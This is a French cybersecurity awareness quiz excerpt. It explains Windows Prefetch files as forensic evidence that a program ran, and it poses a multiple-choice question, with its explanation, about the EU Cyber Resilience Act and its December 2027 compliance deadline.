Laïus explicatif : Le Prefetch est un artefact spécifique à Windows qui optimise le chargement des programmes. Lorsqu’un programme est exécuté pour la première fois, Windows crée un fichier dans le dossier C:\Windows\Prefetch, qui contient des informations sur le programme et les ressources qu’il a utilisées. Ces fichiers incluent également des horodatages correspondant à la première et aux dernières exécutions. L’existence d’un fichier Prefetch (.pf) pour un programme est une preuve solide qu’il a été exécuté. C’est l’un des artefacts forensiques les plus fiables pour prouver l’exécution d’un programme.

Jour 1 | Quel texte européen permettra qu’à partir de fin 2027, tous les produits vendus dans l’UE et comprenant des composants numériques seront exempts de vulnérabilités et maintenus pendant tout leur cycle de vie ? #DigitalTrust

  • Réponse 1 : Le Cyber Security Act
  • Réponse 2 : Le Cyber Resilience Act
  • Réponse 3 : La Directive REC
  • Réponse 4 : La Directive NIS2 

Laïus explicatif : Le Cyber Resilience Act, qui a été publié ces derniers jours au Journal Officiel de l’Union Européenne est entré en vigueur le 10 décembre 2024. A compter de cette date, les fabricants et éditeurs doivent adapter leur processus pour pouvoir continuer à vendre des produits au sein de l’UE après le 10/12/2027.

EU Cyber Resilience Act | Shaping Europe’s digital future